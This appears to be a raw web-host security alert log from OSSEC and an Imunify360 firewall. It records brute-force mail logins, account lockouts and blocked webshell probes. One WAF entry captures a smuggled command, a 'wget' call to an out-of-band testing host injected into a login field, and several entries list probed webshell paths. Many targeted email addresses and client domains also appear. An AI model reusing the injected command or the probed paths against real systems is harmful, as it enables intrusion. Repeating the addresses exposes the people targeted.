country_id: 2510769
description:
2026-02-02 07:39:07 dovecot_login authenticator failed for H=(vTVWdCH) [185.230.124.69]:59681: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:39:11 dovecot_login authenticator failed for H=(Xcqe5FAK) [165.154.217.204]:50015: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:39:16 dovecot_login authenticator failed for H=(EfkbjG) [178.16.54.138]:54793: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.8.120.90
country_id: 3469034
description:
2026-02-02 07:39:21 dovecot_login authenticator failed for H=(187-8-120-90.customer.tdatabrasil.net.br) [187.8.120.90]:60117: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.60.31.166
country_id: 2921044
description:
2026-02-02 07:39:01 dovecot_plain authenticator failed for H=(c10712.servers.ecomdata.de) [212.60.31.166]:52008: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.195.211.98
country_id: 6252001
description:
2026-02-02 07:39:24 dovecot_plain authenticator failed for H=c-73-195-211-98.hsd1.nj.comcast.net (aenter) [73.195.211.98]:50966: 535 Incorrect authentication data (set_id=achigold@ajplantations.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:39:45 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/img/demos/clientele.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:39:03 dovecot_login authenticator failed for H=(YHLUCT) [158.94.208.175]:51510: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:40:09 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63126: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:40:45 dovecot_login authenticator failed for H=(A43MVrgn) [165.154.217.204]:51064: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 07:41:00 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:40:04 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:40:05 dovecot_login authenticator failed for H=(Qrqicx1g) [185.230.124.69]:63689: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:40:06 dovecot_login authenticator failed for H=(fic3HGv) [165.154.217.204]:60614: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:40:20 dovecot_login authenticator failed for H=(Qr7sVOOlP) [178.16.54.138]:61748: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:40:12 dovecot_login authenticator failed for H=(pHyliIa) [158.94.208.175]:53820: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.62.34.216
country_id: 6252001
description:
2026-02-02 07:40:56 dovecot_login authenticator failed for H=c-71-62-34-216.hsd1.va.comcast.net [71.62.34.216]:48786: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 07:41:20 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:41:20 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.67.121.58
country_id: 1814991
description:
2026-02-02 07:41:26 dovecot_login authenticator failed for H=([124.67.121.58]) [124.67.121.58]:43088: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/achievement-new.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:41:02 dovecot_login authenticator failed for H=(HlLFXGTPI) [165.154.217.204]:53906: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:41:26 dovecot_login authenticator failed for H=(MUsc07e) [178.16.54.138]:52118: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 07:41:13 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:38300: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.219.216.146
country_id: 357994
description:
2026-02-02 07:41:02 dovecot_plain authenticator failed for H=(supfie) [196.219.216.146]:55288: 535 Incorrect authentication data (set_id=azakaria.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:41:02 dovecot_login authenticator failed for H=(mmjtPpH6gU) [185.230.124.69]:50588: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:41:07 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55996: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.226.132.43
country_id: 1814991
description:
2026-02-02 07:41:51 dovecot_login authenticator failed for H=([120.226.132.43]) [120.226.132.43]:55362: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:42:17 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49248: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 07:42:17 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:42:19 dovecot_login authenticator failed for H=(GGGVj50) [165.154.217.204]:50879: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:42:21 dovecot_login authenticator failed for H=(HxlgRMrz) [158.94.208.175]:55762: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.167
country_id: 2635167
description:
2026-02-02  7:42:40 274705 [Warning] Aborted connection 274705 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.167' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.224.62.206
country_id: 2464461
description:
2026-02-02 07:42:58 dovecot_login authenticator failed for H=([41.224.62.206]) [41.224.62.206]:45118: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.222.54
country_id: 1269750
description:
2026-02-02 07:42:05 dovecot_login authenticator failed for H=(nsg-corporate-72.152.185.122.airtel.in) [122.187.222.54]:55390: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:42:20 dovecot_login authenticator failed for H=(Uv6Gpgi) [165.154.217.204]:51229: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:42:19 dovecot_login authenticator failed for H=(lbIolT) [185.230.124.69]:52226: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:42:17 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:42:27 dovecot_login authenticator failed for H=(s4gpU6BP) [178.16.54.138]:57911: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/demos/img/img/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:43:06 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59421: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:43:15 dovecot_login authenticator failed for H=(i2qs9KHkTb) [165.154.217.204]:61058: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:43:16 dovecot_login authenticator failed for H=(GojQjp) [185.230.124.69]:51299: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:43:28 dovecot_login authenticator failed for H=(hRqZnI8uh) [178.16.54.138]:49753: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.73.120.45
country_id: 732800
description:
2026-02-02 07:43:02 dovecot_plain authenticator failed for H=(mandycla) [62.73.120.45]:55315: 535 Incorrect authentication data (set_id=azakaria.vpb@vc-b.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 07:43:14 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.52.166.93
country_id: 1819730
description:
2026-02-02 07:43:17 dovecot_login authenticator failed for H=(ADMIN) [47.52.166.93]:49338: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-02-02 07:43:19 +0800] info [cpaneld] 185.204.54.153 - rgreve "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user rgreve (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 07:43:23 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:34834: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:43:36 dovecot_login authenticator failed for H=(7bFisB) [165.154.217.204]:64635: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.43.137.90
country_id: 1835841
description:
2026-02-02 07:43:11 dovecot_login authenticator failed for H=([14.43.137.90]) [14.43.137.90]:37792: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:43:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.238.101.129
country_id: 6251999
description:
2026-02-02 07:44:35 dovecot_login authenticator failed for H=d173-238-101-129.home4.cgocable.net [173.238.101.129]:52137: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.213.219.71
country_id: 1668284
description:
2026-02-02 07:44:39 dovecot_login authenticator failed for H=([127.0.0.1]) [49.213.219.71]:33544: 535 Incorrect authentication data (set_id=fadilah@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.219.104.210
country_id: 3175395
description:
2026-02-02 07:45:01 dovecot_login authenticator failed for H=net-188-219-104-210.cust.vodafonedsl.it [188.219.104.210]:47974: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:44:26 dovecot_login authenticator failed for H=(HSGUgCP) [158.94.208.175]:57308: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:44:12 dovecot_login authenticator failed for H=(GpO3Ho7c) [165.154.217.204]:54530: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.229.125.151
country_id: 1562822
description:
2026-02-02 07:44:57 dovecot_login authenticator failed for H=([127.0.0.1]) [14.229.125.151]:44710: 535 Incorrect authentication data (set_id=fadilah)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 07:44:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.76.228.234
country_id: 1269750
description:
2026-02-02 07:44:13 dovecot_login authenticator failed for H=(nsg-static-234.228.76.182-airtel.com) [182.76.228.234]:45818: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:44:33 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60602: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.167
country_id: 2635167
description:
2026-02-02  7:44:48 274770 [Warning] Aborted connection 274770 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.167' (This connection closed normally without authentication)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:44:10 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:44:27 dovecot_login authenticator failed for H=(gvPP6cD) [178.16.54.138]:57037: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:44:13 dovecot_login authenticator failed for H=(uSphdvQ) [185.230.124.69]:56615: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:45:10 dovecot_login authenticator failed for H=(GKyLddk) [185.230.124.69]:64403: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 07:45:08 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 07:45:33 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:48966: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:45:11 dovecot_login authenticator failed for H=(EKzmOn1) [165.154.217.204]:65222: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:45:19 dovecot_login authenticator failed for H=(PvcGrKNV8Q) [158.94.208.175]:55396: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.49.65.6
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=62751514884078 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:45:07 dovecot_login authenticator failed for H=(3esidLmOs) [165.154.217.204]:64684: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:45:26 dovecot_login authenticator failed for H=(3OobuNS) [178.16.54.138]:53751: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:45:27 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:45:34 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54273: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.233.140.250
country_id: 3469034
description:
2026-02-02 07:45:34 dovecot_login authenticator failed for H=([181.233.140.250]) [181.233.140.250]:55396: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.97.5
country_id: 1814991
description:
2026-02-02 07:45:53 dovecot_login authenticator failed for H=([111.61.97.5]) [111.61.97.5]:55442: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:46:42 dovecot_login authenticator failed for H=(F2lgsLd) [165.154.217.204]:49452: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.47.174.151
country_id: 357994
description:
2026-02-02 07:46:45 dovecot_plain authenticator failed for H=(ovelflogid) [197.47.174.151]:44770: 535 Incorrect authentication data (set_id=achigold@ajplantations.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:46:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:46:07 dovecot_login authenticator failed for H=(llPjWL) [185.230.124.69]:58457: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:46:28 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63573: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:46:32 dovecot_login authenticator failed for H=(OrgvZtC) [158.94.208.175]:50029: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:46:03 dovecot_login authenticator failed for H=(zoOxGuC6) [165.154.217.204]:58605: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:47:02 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.162.194.94
country_id: 1733045
description:
2026-02-02 07:47:11 dovecot_login authenticator failed for H=([51.162.194.94]) [51.162.194.94]:58500: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: modsec
rule: 77142262
name: IM360 WAF: IOT unauthenticated file upload and RCE
abuser: 58.186.123.136
country_id: 1562822
domain: agpc.org.my
description:
IM360 WAF: IOT unauthenticated file upload and RCE||RSV:7.71||T:APACHE||MVN:ARGS:auth_name||MV:fail;wget http://d5vn7klt4s10d6jaibq0m98gyhzq9aetb.oast.pro;||


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 58.186.123.136
country_id: 1562822
domain: agpc.org.my
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:7.71||T:APACHE||SC:/home/agpcorg/public_html/servlet||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:47:15 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55417: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77140881
name: IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI
abuser: 58.186.123.136
country_id: 1562822
domain: agpc.org.my
description:
IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI||RSV:7.71||T:APACHE||SC:/home/agpcorg/public_html/servlet||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 58.186.123.136
country_id: 1562822
domain: agpc.org.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/logo/logo-eoffice.php||SC:/home/agpcorg/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.124.206
country_id: 1269750
description:
2026-02-02 07:47:32 dovecot_login authenticator failed for H=([182.95.87.3]) [182.95.124.206]:35576: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 07:47:43 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:39820: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:47:04 dovecot_login authenticator failed for H=(Fet3hd0Kc) [165.154.217.204]:53778: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:47:06 dovecot_login authenticator failed for H=(AjVl6ft) [158.94.208.175]:62025: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:47:06 dovecot_login authenticator failed for H=(WkZnSc) [185.230.124.69]:52903: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:48:02 dovecot_login authenticator failed for H=(tvWfALD2g1) [165.154.217.204]:64856: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:48:04 dovecot_login authenticator failed for H=(Yp31sJ6Q) [185.230.124.69]:52398: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:48:07 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63014: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:48:14 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:48:19 dovecot_login authenticator failed for H=(lBejlt1) [158.94.208.175]:65408: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:48:02 dovecot_login authenticator failed for H=(0TdGO6Uf) [165.154.217.204]:64859: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:49:12 dovecot_login authenticator failed for H=(ZoPS7piUC) [165.154.217.204]:52083: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:49:12 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55534: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:49:21 dovecot_login authenticator failed for H=(0lX6X9DZ9) [158.94.208.175]:55700: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:49:33 dovecot_login authenticator failed for H=(8D3hsZurH) [178.16.54.138]:65496: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
